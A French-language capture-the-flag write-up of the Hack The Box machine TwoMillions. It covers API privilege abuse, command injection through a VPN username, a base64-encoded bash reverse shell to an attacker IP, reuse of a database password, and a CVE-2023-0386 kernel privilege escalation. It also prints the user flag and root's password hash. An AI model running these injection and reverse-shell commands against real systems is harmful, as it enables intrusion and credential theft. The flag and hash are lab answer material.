Aller au contenu principal

HACKTHEBOX- TWOMILLIONS

Link : https://app.hackthebox.eu/machines/TwoMillions

Enumeration

Comme toujours, nous commençons par essayer d'accéder a la page web correspondant à la machine (http://ip_de_la_box)

On peut changer notre /etc/hosts

hosts

Ce fichier sert comme un DNS local. En gros, on va spécifier des noms de domaines ainsi que leur redirecteur. Cet index va avoir la priorité par rapport au serveur DNS spécifié

Le détail sur le fichier hosts :

Ici, voici ce que ca donne :

# Host addresses
127.0.0.1 localhost
127.0.1.1 parrot
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

# Others
[...]
10.10.11.221 2million.htb


Conseil

En général, je conseille de commencer par cette étape. Cela permettera au scan nmap de pouvoir scanner la page web directement, sans être bloqué par le redirect

Scan Nmap

On peut commencer le classique scan nmap :

nmap -sV -sC --script vuln 2million.htb
Résultat du Nmap
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-trane-info: Problem with XML parsing of /evox/about
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
| http-csrf:
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=2million.htb
| Found the following possible CSRF vulnerabilities:
|
| Path: http://2million.htb:80/login
| Form id: loginform
|_ Form action: /api/v1/user/login
|_http-majordomo2-dir-traversal: ERROR: Script execution failed (use -d to debug)
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
| http-vuln-cve2010-0738:
|_ /jmx-console/: Authentication was not required
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Au niveau de la page web obtenue, c'est très surprenant, on tombe sur un "clone" de la page de login classique de hackthebox !

On voit qu'il y a une api pour le login d'après le résultat du NMAP. On commence a énumérer les pages du site ainsi que les sous domaines

Enumération Web et DNS

On énumère avec ffuf :

ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://2million.htb/FUZZ -X GET -fs 162
Petit détail pour FFUF

Ici, la page web retourne un code d'erreur 301 (Moved) même si la page n'existe pas. Le trick est d'ajouter un "-fs 162" ce qui exclut toutes les pages qui ont la taille de la page 404 standard.

Résultat du FFUF

:: Method : GET
:: URL : http://2million.htb/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/dirb/big.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
:: Filter : Response size: 162
________________________________________________

404 [Status: 200, Size: 1674, Words: 118, Lines: 46, Duration: 52ms]
api [Status: 401, Size: 0, Words: 1, Lines: 1, Duration: 85ms]
home [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 48ms]
invite [Status: 200, Size: 3859, Words: 1363, Lines: 97, Duration: 184ms]
login [Status: 200, Size: 3704, Words: 1365, Lines: 81, Duration: 68ms]
logout [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 59ms]
register [Status: 200, Size: 4527, Words: 1512, Lines: 95, Duration: 69ms]

Du côté DNS ca donne rien :

ffuf -u http://2millions.htb/ -w /usr/share/wordlists/SecLists-master/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.2millions.htb" 

Exploitation

Je pense que le créateur de la box ne s'est pas foulé. La première étape doit être identique ou très similaire à celle que j'ai du passer il y a de cela 2 ans, quand j'ai rejoint la plateforme. Surtout que depuis, cette étape n'existe plus a l'inscription

On regarde pour créer un compte et on trouve une page ou on nous demande un code d'invitation :

Forcément, le réflexe à avoir est de regarder sur les fichiers qui sont chargés par le navigateur. On clique droit, puis inspecter, puis "Réseau".

On voit un JS qui est vraiment illisible

De-Obfuscation

Quand un fichier JS est illisible, il y a en général 2 hypothèses :

  1. Le développeur est si fort qu'il a fait quelque chose que seul lui peut comprendre (croyez moi, ca arrive)
  2. Le code est obfusqué (Très commun dans le HTB space)

Ayez toujours le reflexe de désobfusquer. Copier le code sur chatGPT peut aider !

Ici, on remarque que le code est effectivement obfusqué. On peut utiliser cet outil pour obtenir le code source : https://lelinhtinh.github.io/de4js/

EVAL

Attention, bien spécifier "Eval" dans le site web (comme la fonction qui est dans le JS obfusqué ! )

Le code source est donc :

function verifyInviteCode(code) {
var formData = {
"code": code
};
$.ajax({
type: "POST",
dataType: "json",
data: formData,
url: '/api/v1/invite/verify',
success: function (response) {
console.log(response)
},
error: function (response) {
console.log(response)
}
})
}

function makeInviteCode() {
$.ajax({
type: "POST",
dataType: "json",
url: '/api/v1/invite/how/to/generate',
success: function (response) {
console.log(response)
},
error: function (response) {
console.log(response)
}
})
}

Bon bah on peut faire une requête POST à l'endpoint "http://2millions.htb/api/v1/invite/how/to/generate" pour avoir un code :

curl -X POST http://2million.htb/api/v1/invite/how/to/generate

Réponse :

{"0":200,"success":1,"data":{"data":"Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb \/ncv\/i1\/vaivgr\/trarengr","enctype":"ROT13"},"hint":"Data is encrypted ... We should probbably check the encryption type in order to decrypt it..."}% 

Le message nous indique que le texte est chiffré. Mais tellement il est sympa il nous indique par quel "protocole" : ROT13

On peut utiliser CyberChef (https://cyberchef.org) ou Dcode pour le décoder :

In order to generate the invite code, make a POST request to \/api\/v1\/invite\/generate

J'aime pas trop tourner en rond. Refaisons une autre requête POST mais cette fois ci pour /api/v1/invite/generate

{"0":200,"success":1,"data":{"code":"QkFCSlotOUtHUVotMTI0WVUtODU2UzA=","format":"encoded"}}%  

Encore un message chiffré, cette fois ci, du base64

Base64

Un message chiffré en base64 finit généralement par un "=" ou "==". C'est déchiffrable par cyberchef également.

On obtient un code d'invitation que nous pouvons utiliser

C'est dingue, on est sur le vieux hackthebox. Que de souvenirs

L'une des pages (peut être même la seule) qui fonctionne est la page d'accès. Cela nous donne un fichier de configuration OpenVPN

N'essayez pas de vous connecter au vpn, cela ne marchera pas. Cependant, nous pouvons lancer notre BURP afin de voir d'ou il vient :)

Voici la requête qui est envoyée si nous téléchargeons le fichier :

GET /api/v1/user/vpn/generate HTTP/1.1
Host: 2million.htb
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://2million.htb/home/access
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=vr3je5gu3f3aif529ore8i19hg
Connection: close

Essayons de modifier cela pour atteindre /api/v1/user. D'abord il faut que vous récupéreriez votre cookie de session php afin de pouvoir faire la requête sur curl :

curl 2million.htb/api/v1 --cookie "PHPSESSID=vr3je5gu3f3aif529ore8i19hg" -v
{
"v1": {
"user": {
"GET": {
"\\/api\\/v1": "Route List",
"\\/api\\/v1\\/invite\\/how\\/to\\/generate": "Instructions on invite code generation",
"\\/api\\/v1\\/invite\\/generate": "Generate invite code",
"\\/api\\/v1\\/invite\\/verify": "Verify invite code",
"\\/api\\/v1\\/user\\/auth": "Check if user is authenticated",
"\\/api\\/v1\\/user\\/vpn\\/generate": "Generate a new VPN configuration",
"\\/api\\/v1\\/user\\/vpn\\/regenerate": "Regenerate VPN configuration",
"\\/api\\/v1\\/user\\/vpn\\/download": "Download OVPN file"
},
"POST": {
"\\/api\\/v1\\/user\\/register": "Register a new user",
"\\/api\\/v1\\/user\\/login": "Login with existing user"
}
},
"admin": {
"GET": {
"\\/api\\/v1\\/admin\\/auth": "Check if user is admin"
},
"POST": {
"\\/api\\/v1\\/admin\\/vpn\\/generate": "Generate VPN for specific user"
},
"PUT": {
"\\/api\\/v1\\/admin\\/settings\\/update": "Update user settings"
}
}
}
}

On essaye de s'authentifier en admin ?

curl 2million.htb/api/v1/admin/auth --cookie "PHPSESSID=vr3je5gu3f3aif529ore8i19hg" -v

{"message":false}

Si nous ne sommes pas admin, on ne pourra pas générer le VPN admin... Il nous faut trouver un moyen. Essayons de updater nos droits :

curl 2million.htb/api/v1/admin/settings/update --cookie "PHPSESSID=vr3je5gu3f3aif529ore8i19hg" -v -X PUT
{"status":"danger","message":"Invalid content type."}

Il nous faut ajouter le content type :

curl 2million.htb/api/v1/admin/settings/update --cookie "PHPSESSID=vr3je5gu3f3aif529ore8i19hg" -v -X PUT --header "Content-Type: application/json"
{"status":"danger","message":"Missing parameter: email"}

On ajoute le mail qu'on a créé :

curl 2million.htb/api/v1/admin/settings/update --cookie "PHPSESSID=vr3je5gu3f3aif529ore8i19hg" -v -X PUT --header "Content-Type: application/json" --data '{"email":"[email protected]"}'
{"status":"danger","message":"Missing parameter: is_admin"}

Rajoutons la variable "is_admin" :

curl 2million.htb/api/v1/admin/settings/update --cookie "PHPSESSID=vr3je5gu3f3aif529ore8i19hg" -v -X PUT --header "Content-Type: application/json" --data '{"email":"[email protected]", "is_admin":"true"}'
{"status":"danger","message":"Variable is_admin needs to be either 0 or 1."}

Allez, dernière étape, on met is_admin en 1 :

curl 2million.htb/api/v1/admin/settings/update --cookie "PHPSESSID=vr3je5gu3f3aif529ore8i19hg" -v -X PUT --header "Content-Type: application/json" --data '{"email":"[email protected]", "is_admin":"1"}'
{"id":13,"username":"test1234","is_admin":1}

ENFIN ! On télécharge notre fichier OVPN maintenant ?

curl 2million.htb/api/v1/admin/vpn/generate --cookie "PHPSESSID=vr3je5gu3f3aif529ore8i19hg" -v -X POST --header "Content-Type: application/json" --data '{"username":"test1234"}'
client
dev tun
proto udp
remote edge-eu-free-1.2million.htb 1337
resolv-retry infinite
nobind
persist-key
persist-tun
remote-cert-tls server
comp-lzo
verb 3
data-ciphers-fallback AES-128-CBC
data-ciphers AES-256-CBC:AES-256-CFB:AES-256-CFB1:AES-256-CFB8:AES-256-OFB:AES-256-GCM
tls-cipher "DEFAULT:@SECLEVEL=0"
auth SHA256
key-direction 1
<ca>
-----BEGIN CERTIFICATE-----
MIIGADCCA+igAwIBAgIUQxzHkNyCAfHzUuoJgKZwCwVNjgIwDQYJKoZIhvcNAQEL
BQAwgYgxCzAJBgNVBAYTAlVLMQ8wDQYDVQQIDAZMb25kb24xDzANBgNVBAcMBkxv
bmRvbjETMBEGA1UECgwKSGFja1RoZUJveDEMMAoGA1UECwwDVlBOMREwDwYDVQQD
DAgybWlsbGlvbjEhMB8GCSqGSIb3DQ

<SNIP>

Collons le OVPN obtenu dans un éditeur de texte, et go se connecter ! On va pouvoir voir ce qu'il se trame derrière ce VPN !

2023-07-03 01:12:35 Could not determine IPv4/IPv6 protocol
2023-07-03 01:12:35 SIGUSR1[soft,Could not determine IPv4/IPv6 protocol] received, process restarting
2023-07-03 01:12:35 Restart pause, 2 second(s)
2023-07-03 01:12:35 SIGINT[hard,init_instance] received, process exiting

J'suis un peu déçu... Mais bon continuons. J'étais bloqué pas mal de temps sur cette étape jusqu'a trouver la faille :

Subject: C=GB, ST=London, L=London, O=test1234, CN=test1234

Je me suis rappelé que le username est directement sur le fichier OpenVPN. Ce qui veut dire qu'il y a une fonction PHP qui permet de l'écrire sur le fichier .ovpn.

curl 2million.htb/api/v1/admin/vpn/generate --cookie "PHPSESSID=vr3je5gu3f3aif529ore8i19hg" -v -X POST --header "Content-Type: application/json" --data '{"username":"test1234;id;"}'curl 2million.htb/api/v1/admin/vpn/generate --cookie "PHPSESSID=vr3je5gu3f3aif529ore8i19hg" -v -X POST --header "Content-Type: application/json" --data '{"username":"test1234;whoami;"}'
www-data

Totalement le fichier OVPN n'est plus généré, mais on peut exécuter du code!!

On peut utiliser un reverse shell et le tour est joué ! Utilisons un rev shell de ce site : https://highon.coffee/blog/reverse-shell-cheat-sheet/

bash -i >& /dev/tcp/10.10.16.4/4444 0>&1

Bien sur, ce rev shell pur ne passera pas, car espacé ! Utilisons en base64

#Sur notre machine
echo "bash -i >& /dev/tcp/10.10.16.4/4444 0>&1" | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi40LzQ0NDQgMD4mMQo=
nc -nlvp 4444


#Dans la requête
echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi40LzQ0NDQgMD4mMQo=" | base64 -d | bash
connect to [10.10.16.4] from (UNKNOWN) [10.10.11.221] 49516
bash: cannot set terminal process group (1195): Inappropriate ioctl for device
bash: no job control in this shell
www-data@2million:~/html$

Une fois arrivé, je regarde le code source :

//index.php
$envFile = file('.env');
$envVariables = [];
foreach ($envFile as $line) {
$line = trim($line);
if (!empty($line) && strpos($line, '=') !== false) {
list($key, $value) = explode('=', $line, 2);
$key = trim($key);
$value = trim($value);
$envVariables[$key] = $value;
}
}

$dbHost = $envVariables['DB_HOST'];
$dbName = $envVariables['DB_DATABASE'];
$dbUser = $envVariables['DB_USERNAME'];
$dbPass = $envVariables['DB_PASSWORD'];

Il y a un fichier .env caché qui contient les mots de passe de la DB !

www-data@2million:~/html$ ls -alh
drwxr-xr-x 10 root root 4.0K Jul  2 23:20 .
drwxr-xr-x 3 root root 4.0K Jun 6 10:22 ..
-rw-r--r-- 1 root root 87 Jun 2 18:56 .env
-rw-r--r-- 1 root root 1.3K Jun 2 16:15 Database.php
-rw-r--r-- 1 root root 2.8K Jun 2 16:15 Router.php
drwxr-xr-x 5 root root 4.0K Jul 2 23:20 VPN
drwxr-xr-x 2 root root 4.0K Jun 6 10:22 assets
drwxr-xr-x 2 root root 4.0K Jun 6 10:22 controllers
drwxr-xr-x 5 root root 4.0K Jun 6 10:22 css
drwxr-xr-x 2 root root 4.0K Jun 6 10:22 fonts
drwxr-xr-x 2 root root 4.0K Jun 6 10:22 images
-rw-r--r-- 1 root root 2.7K Jun 2 18:57 index.php
drwxr-xr-x 3 root root 4.0K Jun 6 10:22 js
drwxr-xr-x 2 root root 4.0K Jun 6 10:22 views

Message copiable
#.env 

DB_HOST=127.0.0.1
DB_DATABASE=htb_prod
DB_USERNAME=admin
DB_PASSWORD=SuperDuperPass123

Bon bah on a un user !

user.txt

64890cd129a9537db34b3c0dbe49b7c4

Privilege Escalation

On commence déja par voir si nous avons des droits sur les sudoers :

sudo -l

[sudo] password for admin:
Sorry, user admin may not run sudo on localhost.

Une chose que l'on remarque de suite est cette ligne lors du login :

You have mail.

Cela veut dire qu'un message nous attend dans le fichier /var/mail/admin :

Message copiable
From: ch4p <[email protected]>
To: admin <[email protected]>
Cc: g0blin <[email protected]>
Subject: Urgent: Patch System OS
Date: Tue, 1 June 2023 10:45:22 -0700
Message-ID: <[email protected]>
X-Mailer: ThunderMail Pro 5.2

Hey admin,

I'm know you're working as fast as you can to do the DB migration. While we're partially down, can you also upgrade the OS on our web host? There have been a few serious Linux kernel CVEs already this year. That one in OverlayFS / FUSE looks nasty. We can't get popped by that.

HTB Godfather

Ce message nous indique que la machine est probablement encore vulnérable a une CVE, qui touche OverlayFS / FUSE. Probablement, ce message fait référence à cette CVE :

On trouve facilement un POC sur github : https://github.com/xkaneiki/CVE-2023-0386

On peut l'éxécuter :

#Sur notre machine
git clone https://github.com/xkaneiki/CVE-2023-0386.git


# Sur l'autre machine
wget ipmachine/CVE-2023-0386
make all

# Créer 2 sessions ssh différentes :
# Sur la première :
./fuse ./ovlcap/lower ./gc

# Sur la deuxième :
./exp

Une fois ces commandes passées, nous avons un accès en root !

Analyse de l'exploit

L'exploit utilise 2 technologies afin d'avoir des droits root :

  1. FUSE (Filesystem in Userspace) -> Sert a créer un système de fichier personnalisé et de le monter dans l'espace utilisateur plutot que dans le kernel. Un FUSE peut être utilisé afin de créer un système de fichiers chiffrés par exemple, ou encore à des fins de tests (notamment pour éviter de flinguer des points de montages, ou même pire, le kernel)
  2. Overlay FS est une techno qui permet, avec FUSE, de créer un système de fichiers en couches en superposant plusieurs systèmes de fichiers (comme FUSE) afin de les combiner

En crééant un OverlayFS avec plusieurs FUSE, il est possible d'exploiter un bug de mapping de permissions UID. Ce qui permet entre autre, si le fichier /bin/bash est utilisé, d'élever ses privilèges.

L'utilisation de la bibliothèque C FUSE est obligatoire, car si on voulait le faire en mode manuel, il nous faudrait utiliser "mount" ce qui n'est pas dispo pour un utilisateur normal.

Informations

Hash du mdp root : root:$y$j9T$lMX63DLnmS7C2fo11Mluz0$orSq4ixScTWZCqbOolOvi7GqJtj0h/4oyA..NydDMn7:19508:0:99999:7:::

Bonus

Cette machine était pour les 2 millions d'utilisateurs de HackTheBox !

Et les devs nous ont donné un petit message sur le /root :

{"encoding": "url", "data": "%7B%22encoding%22:%20%22hex%22,%20%22data%22:%20%227b22656e6372797074696f6e223a2022786f72222c2022656e6372707974696f6e5f6b6579223a20224861636b546865426f78222c2022656e636f64696e67223a2022626173653634222c202264617461223a20224441514347585167424345454c43414549515173534359744168553944776f664c5552765344676461414152446e51634454414746435145423073674230556a4152596e464130494d556745596749584a51514e487a7364466d494345535145454238374267426942685a6f4468595a6441494b4e7830574c526844487a73504144594848547050517a7739484131694268556c424130594d5567504c525a594b513848537a4d614244594744443046426b6430487742694442306b4241455a4e527741596873514c554543434477424144514b4653305046307337446b557743686b7243516f464d306858596749524a41304b424470494679634347546f4b41676b344455553348423036456b4a4c4141414d4d5538524a674952446a41424279344b574334454168393048776f334178786f44777766644141454e4170594b67514742585159436a456345536f4e426b736a41524571414130385151594b4e774246497745636141515644695952525330424857674f42557374427842735a58494f457777476442774e4a30384f4c524d61537a594e4169734246694550424564304941516842437767424345454c45674e497878594b6751474258514b45437344444767554577513653424571436c6771424138434d5135464e67635a50454549425473664353634c4879314245414d31476777734346526f416777484f416b484c52305a5041674d425868494243774c574341414451386e52516f73547830774551595a5051304c495170594b524d47537a49644379594f4653305046776f345342457454776774457841454f676b4a596734574c4545544754734f414445634553635041676430447863744741776754304d2f4f7738414e6763644f6b31444844464944534d5a48576748444267674452636e4331677044304d4f4f68344d4d4141574a51514e48335166445363644857674944515537486751324268636d515263444a6745544a7878594b5138485379634444433444433267414551353041416f734368786d5153594b4e7742464951635a4a41304742544d4e525345414654674e4268387844456c6943686b7243554d474e51734e4b7745646141494d425355644144414b48475242416755775341413043676f78515241415051514a59674d644b524d4e446a424944534d635743734f4452386d4151633347783073515263456442774e4a3038624a773050446a63634444514b57434550467734344241776c4368597242454d6650416b5259676b4e4c51305153794141444446504469454445516f36484555684142556c464130434942464c534755734a304547436a634152534d42484767454651346d45555576436855714242464c4f7735464e67636461436b434344383844536374467a424241415135425241734267777854554d6650416b4c4b5538424a785244445473615253414b4553594751777030474151774731676e42304d6650414557596759574b784d47447a304b435364504569635545515578455574694e68633945304d494f7759524d4159615052554b42446f6252536f4f4469314245414d314741416d5477776742454d644d526f6359676b5a4b684d4b4348514841324941445470424577633148414d744852566f414130506441454c4d5238524f67514853794562525459415743734f445238394268416a4178517851516f464f676354497873646141414e4433514e4579304444693150517a777853415177436c67684441344f4f6873414c685a594f424d4d486a424943695250447941414630736a4455557144673474515149494e7763494d674d524f776b47443351634369554b44434145455564304351736d547738745151594b4d7730584c685a594b513858416a634246534d62485767564377353043776f334151776b424241596441554d4c676f4c5041344e44696449484363625744774f51776737425142735a5849414242454f637874464e67425950416b47537a6f4e48545a504779414145783878476b6c694742417445775a4c497731464e5159554a45454142446f6344437761485767564445736b485259715477776742454d4a4f78304c4a67344b49515151537a734f525345574769305445413433485263724777466b51516f464a78674d4d41705950416b47537a6f4e48545a504879305042686b31484177744156676e42304d4f4941414d4951345561416b434344384e467a464457436b50423073334767416a4778316f41454d634f786f4a4a6b385049415152446e514443793059464330464241353041525a69446873724242415950516f4a4a30384d4a304543427a6847623067344554774a517738784452556e4841786f4268454b494145524e7773645a477470507a774e52516f4f47794d3143773457427831694f78307044413d3d227d%22%7D"}

On peut décoder le message via cyberchef. On voit que la data est encodée en URL :

{"encoding": "hex", "data": "7b22656e6372797074696f6e223a2022786f72222c2022656e6372707974696f6e5f6b6579223a20224861636b546865426f78222c2022656e636f64696e67223a2022626173653634222c202264617461223a20224441514347585167424345454c43414549515173534359744168553944776f664c5552765344676461414152446e51634454414746435145423073674230556a4152596e464130494d556745596749584a51514e487a7364466d494345535145454238374267426942685a6f4468595a6441494b4e7830574c526844487a73504144594848547050517a7739484131694268556c424130594d5567504c525a594b513848537a4d614244594744443046426b6430487742694442306b4241455a4e527741596873514c554543434477424144514b4653305046307337446b557743686b7243516f464d306858596749524a41304b424470494679634347546f4b41676b344455553348423036456b4a4c4141414d4d5538524a674952446a41424279344b574334454168393048776f334178786f44777766644141454e4170594b67514742585159436a456345536f4e426b736a41524571414130385151594b4e774246497745636141515644695952525330424857674f42557374427842735a58494f457777476442774e4a30384f4c524d61537a594e4169734246694550424564304941516842437767424345454c45674e497878594b6751474258514b45437344444767554577513653424571436c6771424138434d5135464e67635a50454549425473664353634c4879314245414d31476777734346526f416777484f416b484c52305a5041674d425868494243774c574341414451386e52516f73547830774551595a5051304c495170594b524d47537a49644379594f4653305046776f345342457454776774457841454f676b4a596734574c4545544754734f414445634553635041676430447863744741776754304d2f4f7738414e6763644f6b31444844464944534d5a48576748444267674452636e4331677044304d4f4f68344d4d4141574a51514e48335166445363644857674944515537486751324268636d515263444a6745544a7878594b5138485379634444433444433267414551353041416f734368786d5153594b4e7742464951635a4a41304742544d4e525345414654674e4268387844456c6943686b7243554d474e51734e4b7745646141494d425355644144414b48475242416755775341413043676f78515241415051514a59674d644b524d4e446a424944534d635743734f4452386d4151633347783073515263456442774e4a3038624a773050446a63634444514b57434550467734344241776c4368597242454d6650416b5259676b4e4c51305153794141444446504469454445516f36484555684142556c464130434942464c534755734a304547436a634152534d42484767454651346d45555576436855714242464c4f7735464e67636461436b434344383844536374467a424241415135425241734267777854554d6650416b4c4b5538424a785244445473615253414b4553594751777030474151774731676e42304d6650414557596759574b784d47447a304b435364504569635545515578455574694e68633945304d494f7759524d4159615052554b42446f6252536f4f4469314245414d314741416d5477776742454d644d526f6359676b5a4b684d4b4348514841324941445470424577633148414d744852566f414130506441454c4d5238524f67514853794562525459415743734f445238394268416a4178517851516f464f676354497873646141414e4433514e4579304444693150517a777853415177436c67684441344f4f6873414c685a594f424d4d486a424943695250447941414630736a4455557144673474515149494e7763494d674d524f776b47443351634369554b44434145455564304351736d547738745151594b4d7730584c685a594b513858416a634246534d62485767564377353043776f334151776b424241596441554d4c676f4c5041344e44696449484363625744774f51776737425142735a5849414242454f637874464e67425950416b47537a6f4e48545a504779414145783878476b6c694742417445775a4c497731464e5159554a45454142446f6344437761485767564445736b485259715477776742454d4a4f78304c4a67344b49515151537a734f525345574769305445413433485263724777466b51516f464a78674d4d41705950416b47537a6f4e48545a504879305042686b31484177744156676e42304d4f4941414d4951345561416b434344384e467a464457436b50423073334767416a4778316f41454d634f786f4a4a6b385049415152446e514443793059464330464241353041525a69446873724242415950516f4a4a30384d4a304543427a6847623067344554774a517738784452556e4841786f4268454b494145524e7773645a477470507a774e52516f4f47794d3143773457427831694f78307044413d3d227d"}

Encore une fois, mais cette fois ci en hex :

{"encryption": "xor", "encrpytion_key": "HackTheBox", "encoding": "base64", "data": "DAQCGXQgBCEELCAEIQQsSCYtAhU9DwofLURvSDgdaAARDnQcDTAGFCQEB0sgB0UjARYnFA0IMUgEYgIXJQQNHzsdFmICESQEEB87BgBiBhZoDhYZdAIKNx0WLRhDHzsPADYHHTpPQzw9HA1iBhUlBA0YMUgPLRZYKQ8HSzMaBDYGDD0FBkd0HwBiDB0kBAEZNRwAYhsQLUECCDwBADQKFS0PF0s7DkUwChkrCQoFM0hXYgIRJA0KBDpIFycCGToKAgk4DUU3HB06EkJLAAAMMU8RJgIRDjABBy4KWC4EAh90Hwo3AxxoDwwfdAAENApYKgQGBXQYCjEcESoNBksjAREqAA08QQYKNwBFIwEcaAQVDiYRRS0BHWgOBUstBxBsZXIOEwwGdBwNJ08OLRMaSzYNAisBFiEPBEd0IAQhBCwgBCEELEgNIxxYKgQGBXQKECsDDGgUEwQ6SBEqClgqBA8CMQ5FNgcZPEEIBTsfCScLHy1BEAM1GgwsCFRoAgwHOAkHLR0ZPAgMBXhIBCwLWCAADQ8nRQosTx0wEQYZPQ0LIQpYKRMGSzIdCyYOFS0PFwo4SBEtTwgtExAEOgkJYg4WLEETGTsOADEcEScPAgd0DxctGAwgT0M/Ow8ANgcdOk1DHDFIDSMZHWgHDBggDRcnC1gpD0MOOh4MMAAWJQQNH3QfDScdHWgIDQU7HgQ2BhcmQRcDJgETJxxYKQ8HSycDDC4DC2gAEQ50AAosChxmQSYKNwBFIQcZJA0GBTMNRSEAFTgNBh8xDEliChkrCUMGNQsNKwEdaAIMBSUdADAKHGRBAgUwSAA0CgoxQRAAPQQJYgMdKRMNDjBIDSMcWCsODR8mAQc3Gx0sQRcEdBwNJ08bJw0PDjccDDQKWCEPFw44BAwlChYrBEMfPAkRYgkNLQ0QSyAADDFPDiEDEQo6HEUhABUlFA0CIBFLSGUsJ0EGCjcARSMBHGgEFQ4mEUUvChUqBBFLOw5FNgcdaCkCCD88DSctFzBBAAQ5BRAsBgwxTUMfPAkLKU8BJxRDDTsaRSAKESYGQwp0GAQwG1gnB0MfPAEWYgYWKxMGDz0KCSdPEicUEQUxEUtiNhc9E0MIOwYRMAYaPRUKBDobRSoODi1BEAM1GAAmTwwgBEMdMRocYgkZKhMKCHQHA2IADTpBEwc1HAMtHRVoAA0PdAELMR8ROgQHSyEbRTYAWCsODR89BhAjAxQxQQoFOgcTIxsdaAAND3QNEy0DDi1PQzwxSAQwClghDA4OOhsALhZYOBMMHjBICiRPDyAAF0sjDUUqDg4tQQIINwcIMgMROwkGD3QcCiUKDCAEEUd0CQsmTw8tQQYKMw0XLhZYKQ8XAjcBFSMbHWgVCw50Cwo3AQwkBBAYdAUMLgoLPA4NDidIHCcbWDwOQwg7BQBsZXIABBEOcxtFNgBYPAkGSzoNHTZPGyAAEx8xGkliGBAtEwZLIw1FNQYUJEEABDocDCwaHWgVDEskHRYqTwwgBEMJOx0LJg4KIQQQSzsORSEWGi0TEA43HRcrGwFkQQoFJxgMMApYPAkGSzoNHTZPHy0PBhk1HAwtAVgnB0MOIAAMIQ4UaAkCCD8NFzFDWCkPB0s3GgAjGx1oAEMcOxoJJk8PIAQRDnQDCy0YFC0FBA50ARZiDhsrBBAYPQoJJ08MJ0ECBzhGb0g4ETwJQw8xDRUnHAxoBhEKIAERNwsdZGtpPzwNRQoOGyM1Cw4WBx1iOx0pDA=="}

Encore une fois, mais cette fois ci en xor, en spécifiant la clé utilisée. Pour ce dernier "round", il faut chainer sur cyberchef le "From Base64" puis XOR avec la clé de chiffrement + UTF8 :

Message copiable
Dear HackTheBox Community,

We are thrilled to announce a momentous milestone in our journey together. With immense joy and gratitude, we celebrate the achievement of reaching 2 million remarkable users! This incredible feat would not have been possible without each and every one of you.

From the very beginning, HackTheBox has been built upon the belief that knowledge sharing, collaboration, and hands-on experience are fundamental to personal and professional growth. Together, we have fostered an environment where innovation thrives and skills are honed. Each challenge completed, each machine conquered, and every skill learned has contributed to the collective intelligence that fuels this vibrant community.

To each and every member of the HackTheBox community, thank you for being a part of this incredible journey. Your contributions have shaped the very fabric of our platform and inspired us to continually innovate and evolve. We are immensely proud of what we have accomplished together, and we eagerly anticipate the countless milestones yet to come.

Here's to the next chapter, where we will continue to push the boundaries of cybersecurity, inspire the next generation of ethical hackers, and create a world where knowledge is accessible to all.

With deepest gratitude,

The HackTheBox Team

Incroyable :)